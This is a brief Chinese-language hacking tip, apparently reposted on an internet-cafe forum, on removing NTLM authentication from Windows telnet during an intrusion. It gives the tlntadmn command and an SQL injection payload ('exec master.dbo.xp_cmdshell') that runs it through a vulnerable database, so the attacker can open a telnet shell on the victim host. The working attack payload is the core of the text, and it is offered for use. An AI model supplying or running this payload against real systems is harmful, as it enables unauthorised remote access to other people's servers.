编者按：只可借鉴，切勿模仿
　　
　　相信大家都对telnet比较熟悉吧。hacking的时候经常用到的系统自带shell尤其是注射的时候，但是最讨厌的就是ntlm认证了，以前大家去掉ntlm的方法一般有2种。
　　
　　1 上传ntml.exe 这种方法有很多缺点，比如：对方有杀毒软件，很多网段屏蔽了TFTP。
　　
　　2 直接写入telnet的配置信息到文本中然后在用shell执行，这种办法非常麻烦。
　　
　　今天我给大家介绍我一直在使用的办法，压箱底的哦。
　　
　　那就是直接运行命令：
　　
　　tlntadmn config sec = -ntlm
　　
　　注射的话可以直接运行：
　　
　　;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--
　　
　　
　　运行以后就去掉了ntlm认证。

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理，安装维护: